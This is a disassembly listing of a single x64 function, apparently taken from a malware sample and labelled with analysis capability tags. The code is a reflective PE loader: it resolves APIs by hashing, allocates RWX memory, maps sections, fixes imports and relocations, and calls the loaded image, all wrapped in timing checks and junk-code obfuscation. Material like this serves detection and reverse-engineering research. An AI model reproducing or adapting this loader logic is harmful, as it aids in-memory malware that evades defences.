Function at 0x180003800
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check os version
Enumerate pe sections
Execute shellcode via indirect call
Identify system language via api
Parse pe header
Query environment variable
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
movaps xmmword [r11 - 0x48], xmm6
movaps xmmword [r11 - 0x58], xmm7
movaps xmmword [r11 - 0x68], xmm8
movaps xmmword [r11 - 0x78], xmm9
movaps xmmword [rsp + 0x70], xmm10
movaps xmmword [rsp + 0x60], xmm11
movaps xmmword [rsp + 0x50], xmm12
movaps xmmword [rsp + 0x40], xmm13
mov r12, rcx
rdtscp
lea r8, [r11 + 0x10]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov r9d, 0x989680
cmp rax, r9
jbe 0x18000386b
mov edi, 0x48854ec
jmp 0x18000388e
rdtscp
lea r8, [rsp + 0x108]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov rcx, rax
xor edx, edx
mov rax, r9
div rcx
mov rdi, rax
rdtscp
lea r8, [rsp + 0x108]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov ecx, eax
imul r8, rcx, 0x267f
movabs rax, 0x58ed2308158ed231
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x5f
sub r8, rax
lea esi, [r8 + 3]
movsxd rbx, edi
mov qword [rsp + 0x118], rbx
xor r14d, r14d
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x108], r14
xorps xmm12, xmm12
movsd xmm6, qword [0x18002fdb0]
movsd xmm13, qword [0x18002fc98]
movsd xmm11, qword [0x18002fdd0]
movaps xmm0, xmm6
call fcn.1800036b8
xorps xmm0, xmm0
call fcn.1800036b8
mov r12, qword [r12]
mov qword [rsp + 0x110], r12
cmp edi, esi
jl 0x180004417
lea r15d, [r14 + 1]
movaps xmm0, xmm6
call fcn.1800036b8
movaps xmm0, xmm12
call fcn.1800036b8
mov eax, 0x5a4d
cmp word [r12], ax
jne 0x180004407
movsxd rcx, dword [r12 + 0x3c]
lea rax, [rcx - 0x40]
cmp rax, 0x3bf
ja 0x180004407
cmp dword [rcx + r12], 0x4550
jne 0x180004407
mov rax, qword gs:[0x60]
cmp edi, esi
je 0x1800043ec
mov rax, qword [rax + 0x18]
mov r13, qword [rax + 0x20]
test r13, r13
je 0x180003c4a
cmp edi, esi
cmove edi, esi
mov r12, qword [r13 + 0x50]
movzx r15d, word [r13 + 0x48]
lea rcx, [r15 + 1]
mov eax, 8
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.180008550
nop
test r15w, r15w
je 0x180003ac3
cmp edi, esi
jle 0x1800039e7
mov ecx, r14d
call fcn.18000457c
mov r14d, eax
cmp byte [r12], 0x61
jb 0x180003a04
lea eax, [rdi + 4]
cmp eax, esi
cmovle edi, esi
movzx eax, byte [r12]
add r14, 0xffffffffffffffe0
add r14, rax
jmp 0x180003a3e
mov ecx, edi
cmp edi, esi
jle 0x180003ab5
lea edx, [rdi + 4]
mov rax, rbx
cmp edx, esi
jg 0x180003a34
cmp rbx, 6
jl 0x180004493
cmp rax, 0x19
jge 0x180004493
inc ecx
cmp ecx, esi
jg 0x180003a11
jmp 0x180003a42
movzx eax, byte [r12]
add r14, rax
jmp 0x180003a42
cmp edi, esi
jle 0x180003ab5
cmp edi, esi
jne 0x180003aaa
mov ebx, 0x76
mov edi, ebx
call qword [sym.imp.USER32.dll_IsProcessDPIAware]
imul edi, edi
movd xmm2, edi
cvtdq2pd xmm2, xmm2
add bl, bl
movsx edi, bl
movd xmm0, edi
cvtdq2pd xmm0, xmm0
movaps xmm1, xmm2
divsd xmm1, xmm0
mulsd xmm2, xmm2
cvttsd2si eax, xmm2
movd xmm0, eax
cvtdq2pd xmm0, xmm0
subsd xmm1, xmm0
cvttsd2si rax, xmm1
cmp rax, 0x43
je 0x180003a4d
cmp rax, 0x1c
jne 0x1800044a8
lea r14d, [rax + 0x44]
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
add r14d, r14d
jmp 0x180003a9f
inc r12
mov qword [rsp + 0x118], rbx
mov eax, 0xffff
add r15w, ax
jmp 0x1800039ce
cmp r14d, 0x6a4abc5b
jne 0x180003bdf
mov eax, edi
cdq
sub eax, edx
sar eax, 1
cmp eax, esi
cmovl edi, esi
mov r9, qword [r13 + 0x20]
movsxd rax, dword [r9 + 0x3c]
mov r15d, dword [rax + r9 + 0x88]
mov r10d, dword [r15 + r9 + 0x20]
add r10, r9
mov r11d, dword [r15 + r9 + 0x24]
add r11, r9
mov r14d, 3
xor edx, edx
mov r12d, 0x7c0dfcaa
cmp edi, esi
je 0x180003c35
mov ecx, dword [r10]
add rcx, r9
mov r8d, edx
mov al, byte [rcx]
ror r8d, 0xd
movsx eax, al
add r8d, eax
inc rcx
mov al, byte [rcx]
test al, al
jne 0x180003b1d
cmp r8d, 0xec0e4e8e
je 0x180003b4b
cmp r8d, r12d
je 0x180003b4b
cmp r8d, 0x91afca54
jne 0x180003bcd
cmp edi, esi
jle 0x180003b73
lea eax, [rdi + 4]
cmp eax, esi
jle 0x180003c17
movzx edx, word [r11]
mov ecx, dword [r15 + r9 + 0x1c]
add rcx, r9
lea rax, [rcx + rdx*4]
mov qword [rsp + 0x30], rax
xor edx, edx
jmp 0x180003b78
mov rax, qword [rsp + 0x30]
cmp r8d, 0xec0e4e8e
jne 0x180003b95
cmp edi, esi
jl 0x180003c26
mov eax, dword [rax]
add rax, r9
mov qword [rsp + 0x20], rax
jmp 0x180003bc4
cmp r8d, r12d
jne 0x180003bae
cmp edi, esi
jle 0x1800044fa
mov eax, dword [rax]
add rax, r9
mov qword [rsp + 0x28], rax
jmp 0x180003bc4
cmp r8d, 0x91afca54
jne 0x180003bc4
mov eax, dword [rax]
add rax, r9
mov qword [rsp + 0x108], rax
mov eax, 0xffff
add r14w, ax
add r10, 4
add r11, 2
test r14w, r14w
jne 0x180003b0a
xor r14d, r14d
cmp qword [rsp + 0x20], r14
je 0x180003d11
cmp qword [rsp + 0x28], r14
je 0x180003d11
cmp qword [rsp + 0x108], r14
je 0x180003d11
cmp edi, esi
jle 0x180003c44
lea eax, [rdi + rdi]
cmp eax, esi
jl 0x1800044b3
jmp 0x180003c44
cmp rbx, 0x7a
jle 0x1800044d3
jmp 0x1800044bf
cmp rbx, 0x46
jl 0x1800044ef
jmp 0x1800044de
cmp rbx, 0x35
je 0x18000452c
jmp 0x18000450b
mov r15d, 1
mov r14d, r15d
movsd xmm9, qword [0x18002fcb0]
movaps xmm0, xmm9
movsd xmm8, qword [0x18002fca8]
subsd xmm0, xmm8
mulsd xmm0, xmm13
addsd xmm0, xmm12
call fcn.1800036b8
add r14d, r15d
movd xmm0, r14d
cvtdq2pd xmm0, xmm0
comisd xmm11, xmm0
jae 0x180003c63
mov r12, qword [rsp + 0x110]
movsxd rax, dword [r12 + 0x3c]
add rax, r12
mov qword [rsp + 0x30], rax
mov r15d, dword [rax + 0x54]
mov edx, dword [rax + 0x50]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
mov qword [rsp + 0x118], rbx
test r15, r15
je 0x180003d66
lea eax, [rdi + rdi]
mov dword [rsp + 0x108], eax
mov r12, r13
sub r12, qword [rsp + 0x110]
mov qword [rsp + 0x118], rbx
mov r14, qword [rsp + 0x110]
dec r15
cmp eax, esi
jl 0x180003d20
movsd xmm0, qword [0x18002fc88]
call fcn.1800036b8
mov al, byte [r14]
mov byte [r12 + r14], al
inc r14
jmp 0x180003d50
mov r13, qword [r13]
mov r15d, 1
jmp 0x180003997
cmp rbx, 0x78
jne 0x180003d57
mov cl, 0x41
call fcn.180002d4c
movsx ecx, al
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
movss xmm1, dword [0x18002fe6c]
subss xmm1, xmm0
cvttss2si rbx, xmm1
mov qword [rsp + 0x118], rbx
mov eax, dword [rsp + 0x108]
test r15, r15
jne 0x180003cf1
mov r12, qword [rsp + 0x110]
jmp 0x180003d7a
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov r14d, 1
movaps xmm0, xmm9
movsd xmm10, qword [0x18002fdc8]
mulsd xmm0, xmm13
addsd xmm0, xmm12
call fcn.1800036b8
inc r14d
movd xmm0, r14d
cvtdq2pd xmm0, xmm0
comisd xmm10, xmm0
jae 0x180003d8d
cmp edi, esi
cmovl edi, esi
movaps xmm0, xmm12
call fcn.1800036b8
movaps xmm7, xmm0
movaps xmm0, xmm6
call fcn.1800036b8
movaps xmm6, xmm0
addsd xmm6, xmm7
mulsd xmm6, xmm13
divsd xmm6, qword [0x18002fcc8]
mov r15, qword [rsp + 0x30]
movzx eax, word [r15 + 0x14]
lea r8, [r15 + 0x18]
add r8, rax
movzx r10d, word [r15 + 6]
test r10, r10
je 0x180003e50
lea r11d, [rdi + rdi]
mov eax, 1
sub r10, rax
cmp r11d, esi
jl 0x180003e41
mov ecx, dword [r8 + 0xc]
add rcx, r13
mov edx, dword [r8 + 0x14]
add rdx, r12
mov r9d, dword [r8 + 0x10]
jmp 0x180003e2e
sub r9, rax
mov al, byte [rdx]
mov byte [rcx], al
mov eax, 1
add rcx, rax
add rdx, rax
test r9, r9
jne 0x180003e1c
add r8, 0x28
test r10, r10
jne 0x180003e00
mov r14d, eax
jmp 0x180003e56
cmp rbx, 0x7f
je 0x180004545
jmp 0x180004534
mov r14d, 1
movaps xmm0, xmm9
subsd xmm0, xmm8
mulsd xmm0, xmm13
addsd xmm0, xmm12
call fcn.1800036b8
mulsd xmm0, qword [0x18002fc90]
addsd xmm6, xmm0
inc r14d
movd xmm0, r14d
cvtdq2pd xmm0, xmm0
comisd xmm11, xmm0
jae 0x180003e5a
cmp edi, esi
cmovle edi, esi
add r15, 0x90
mov eax, dword [r15]
add rax, r13
mov qword [rsp + 0x118], rax
mov r14d, 0x60
xor r12d, r12d
cmp dword [rax + 0xc], r12d
je 0x180004092
cmp dword [r15], r12d
je 0x180004092
cmp edi, esi
jl 0x180004086
mov ecx, dword [rax + 0xc]
add rcx, r13
call qword [rsp + 0x20]
mov r9, rax
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x118]
mov r12d, dword [rcx]
add r12, r13
mov r8d, dword [rcx + 0x10]
add r8, r13
mov qword [rsp + 0x108], r8
xor edx, edx
mov rcx, qword [r8]
test rcx, rcx
je 0x180004068
test r12, r12
je 0x180003f50
cmp qword [r12], rdx
jge 0x180003f50
mov eax, edi
cdq
sub eax, edx
sar eax, 1
cmp eax, esi
cmovl edi, esi
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [rax + r9 + 0x88]
mov eax, dword [rcx + r9 + 0x10]
movzx edx, word [r12]
sub rdx, rax
mov ecx, dword [rcx + r9 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
mov qword [r8], rax
xor edx, edx
jmp 0x180003f8a
cmp edi, esi
jl 0x180003f7a
lea r15, [rcx + r13]
lea rdx, [r15 + 2]
mov rcx, r9
call qword [rsp + 0x28]
mov r8, qword [rsp + 0x108]
mov qword [r8], rax
mov r9, qword [rsp + 0x110]
xor edx, edx
jmp 0x180003f8a
mov eax, 0x27
add eax, eax
movsxd rbx, eax
cmp rbx, 0x16
jne 0x180003f7f
lea eax, [rdi + 4]
cmp eax, esi
jle 0x180003faf
add r8, 8
mov qword [rsp + 0x108], r8
test r12, r12
je 0x180003eff
add r12, 8
jmp 0x180003eff
movss xmm8, dword [0x18002fcb8]
cmp rbx, 0x4a
je 0x180003ffd
movss xmm7, dword [0x18002fe04]
call qword [sym.imp.USER32.dll_InSendMessage]
movaps xmm0, xmm7
subss xmm0, xmm8
movaps xmm8, xmm0
addss xmm7, xmm8
cvttss2si rax, xmm7
xorps xmm7, xmm7
cvtsi2ss xmm7, rax
movaps xmm0, xmm7
addss xmm0, xmm8
cvttss2si rax, xmm0
cmp rax, 0x4a
jne 0x180003fc6
movss xmm2, dword [0x18002fe38]
mov dl, 0x2f
mov ecx, r14d
movss xmm1, dword [0x18002fe28]
addss xmm1, xmm2
movaps xmm2, xmm1
add dl, cl
movsx eax, dl
imul ecx, eax
movd xmm1, ecx
cvtdq2ps xmm1, xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm2
subss xmm0, xmm1
cvttss2si rax, xmm0
cmp rax, 0x7a
jle 0x180004012
cmp rax, 0x7d
jle 0x180004552
mov rbx, 0xffffffffffffffed
mov r8, qword [rsp + 0x108]
mov r9, qword [rsp + 0x110]
jmp 0x180003efd
cmp edi, esi
cmove edi, esi
mov rax, qword [rsp + 0x118]
add rax, 0x14
mov qword [rsp + 0x118], rax
jmp 0x180003ead
cmp rbx, 6
jl 0x180004558
jmp 0x180004090
mov r14d, 1
movaps xmm0, xmm9
movsd xmm7, qword [0x18002fc80]
mulsd xmm0, xmm13
addsd xmm0, xmm12
call fcn.1800036b8
mulsd xmm0, xmm7
addsd xmm6, xmm0
mov r9d, 1
add r14d, r9d
movd xmm0, r14d
cvtdq2pd xmm0, xmm0
comisd xmm10, xmm0
jae 0x1800040a4
cmp edi, esi
jle 0x1800040f6
mov r12, r13
mov rax, qword [rsp + 0x30]
sub r12, qword [rax + 0x30]
mov qword [rsp + 0x110], r12
lea r15, [rax + 0xb0]
xor r12d, r12d
cmp dword [r15 + 4], r12d
je 0x180004278
mov r15d, dword [r15]
add r15, r13
mov eax, dword [r15 + 4]
test eax, eax
je 0x180004278
lea r8d, [rdi + rdi]
mov dword [rsp + 0x108], r8d
mov r10d, 0xfff
mov rcx, rbx
cmp r8d, esi
jl 0x18000430a
mov r14d, dword [r15]
add r14, r13
mov r12d, eax
sub r12, 8
shr r12, 1
lea rdx, [r15 + 8]
mov qword [rsp + 0x118], rdx
je 0x180004255
xor eax, eax
sub r12, r9
cmp edi, esi
jle 0x1800041d7
movzx ecx, word [rdx]
movzx eax, cx
shr ax, 0xc
cmp ax, 0xa
jne 0x18000417c
and rcx, r10
mov rax, qword [rsp + 0x110]
add qword [rcx + r14], rax
jmp 0x1800041c9
mov r8d, 3
cmp ax, r8w
jne 0x180004199
and rcx, r10
mov rax, qword [rsp + 0x110]
add dword [rcx + r14], eax
jmp 0x1800041c9
cmp ax, r9w
jne 0x1800041ad
mov rax, qword [rsp + 0x110]
shr rax, 0x10
jmp 0x1800041c1
mov r8d, 2
cmp ax, r8w
jne 0x1800041c9
mov rax, qword [rsp + 0x110]
and rcx, r10
add word [rcx + r14], ax
add rdx, 2
mov qword [rsp + 0x118], rdx
jmp 0x180004242
movsd xmm2, qword [0x18002fd58]
movsd xmm1, qword [0x18002fcc0]
addsd xmm1, xmm2
movaps xmm2, xmm1
divsd xmm1, xmm1
movaps xmm0, xmm1
mulsd xmm0, xmm2
cvttsd2si rbx, xmm0
cmp rbx, 0x7e
je 0x1800041e7
movss xmm0, dword [0x18002fdf0]
cmp rbx, 0x6e
je 0x180004244
cvttss2si ecx, xmm0
call fcn.180002d4c
movsx ecx, al
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
cvttss2si rbx, xmm0
cmp rbx, 0x6e
jne 0x180004212
mov rdx, qword [rsp + 0x118]
lea r9d, [rbx - 0x6d]
mov r10d, 0xfff
xor eax, eax
test r12, r12
jne 0x180004154
mov r8d, dword [rsp + 0x108]
cmp edi, esi
jle 0x180004269
cmp r8d, esi
jl 0x180004563
mov eax, dword [r15 + 4]
add r15, rax
mov eax, dword [r15 + 4]
xor r12d, r12d
test eax, eax
jne 0x180004124
mov ebx, r9d
mov r14d, 1
mulsd xmm9, xmm13
addsd xmm9, xmm12
movaps xmm0, xmm9
call fcn.1800036b8
mulsd xmm0, xmm7
addsd xmm6, xmm0
add ebx, r14d
movd xmm9, ebx
cvtdq2pd xmm9, xmm9
comisd xmm10, xmm9
jae 0x180004281
mov rax, qword [rsp + 0x30]
mov ebx, dword [rax + 0x28]
add rbx, r13
mov rsi, qword [rsp + 0x100]
mov rcx, r13
cmp byte [rsi + 8], r12b
jne 0x1800043b0
mov rdx, qword [rsi + 0x10]
call fcn.180003710
mov rdi, rax
test rax, rax
je 0x1800043b8
cmp byte [rsi + 0x3c], r12b
je 0x180004352
mov r8, qword [rsi + 0x40]
test r8, r8
je 0x180004352
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
add rdx, 0x20
mov rcx, qword [rdx]
jmp 0x180004347
mov esi, 0x30
cmp rbx, rsi
jl 0x18000456f
mov dil, 0x22
cmp rbx, 0x45
jl 0x180004330
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
add dil, dil
cmp dil, 0x45
jge 0x180004321
mov rax, rsi
cqo
idiv r12
movsx rsi, al
jmp 0x180004330
cmp qword [rcx + 0x20], r8
je 0x18000434e
mov rcx, qword [rcx]
cmp rcx, rdx
jne 0x18000433e
jmp 0x180004352
mov qword [rcx + 0x20], r13
xor r8d, r8d
mov edx, r14d
mov rcx, r13
call rbx
mov r9d, dword [rsi + 0x38]
mov r8, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x20]
call rdi
cdqe
lea r11, [rsp + 0xc0]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
xor r8d, r8d
mov edx, r14d
call rbx
xor ecx, ecx
movsd xmm0, qword [0x18002fe60]
comisd xmm6, xmm0
jb 0x1800043df
subsd xmm6, xmm0
comisd xmm6, xmm0
jae 0x1800043df
movabs rax, 0x8000000000000000
mov rcx, rax
cvttsd2si rax, xmm6
add rax, rcx
add rax, rbx
jmp 0x180004371
cmp rbx, 9
mov rbx, r14
jl 0x1800043fa
mov ebx, 0xb
mov qword [rsp + 0x118], rbx
jmp 0x180003987
sub r12, r15
mov qword [rsp + 0x110], r12
jmp 0x18000393a
cmp rbx, 0x5d
jle 0x180004575
movss xmm8, dword [0x18002fdb8]
movss xmm7, dword [0x18002fdc4]
movss xmm6, dword [0x18002fe68]
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
subss xmm7, xmm8
cvttss2si edi, xmm7
cvttss2si rbx, xmm6
mov cl, bl
call fcn.180002d4c
movsx ecx, al
movd xmm8, ecx
cvtdq2ps xmm8, xmm8
xorps xmm6, xmm6
cvtsi2ss xmm6, rbx
mulss xmm6, xmm8
movd xmm7, edi
cvtdq2ps xmm7, xmm7
movaps xmm0, xmm6
addss xmm0, xmm7
cvttss2si rax, xmm0
cmp rax, 0x79
jle 0x18000443a
call qword [sym.imp.USER32.dll_AnyPopup]
call fcn.180002d34
int3
mov ecx, 0x6b
call fcn.180002c8c
mov ecx, 0x4b
call fcn.180002ca4
int3
mov ecx, 0x15
call fcn.180002ca4
int3
call qword [sym.imp.SHELL32.dll_InitNetworkAddressControl]
call fcn.180002d34
int3
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessorNumber]
xor ecx, ecx
call fcn.180002ca4
int3
mov ecx, 0x71
call fcn.180002ca4
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x17
call fcn.180002ca4
int3
mov ecx, 0x3a
call fcn.180002ca4
int3
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov ecx, 0x45
call fcn.180002ca4
int3
cmp rbx, 0x6b
jle 0x180004517
call qword [sym.imp.GDI32.dll_GdiFlush]
pause
mov ecx, 0x14
call fcn.180002c8c
movsx ecx, al
call fcn.180002ca4
int3
xor ecx, ecx
call fcn.180002ca4
int3
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov ecx, 0x53
call fcn.180002ca4
int3
mov cl, 0x6a
call fcn.180002d4c
call fcn.180002d34
int3
call fcn.180002d34
int3
mov ecx, 0xf
call fcn.180002ca4
int3
call qword [sym.imp.USER32.dll_GetActiveWindow]
call fcn.180002d34
int3
call fcn.180002d34
int3
call fcn.180002d34
int3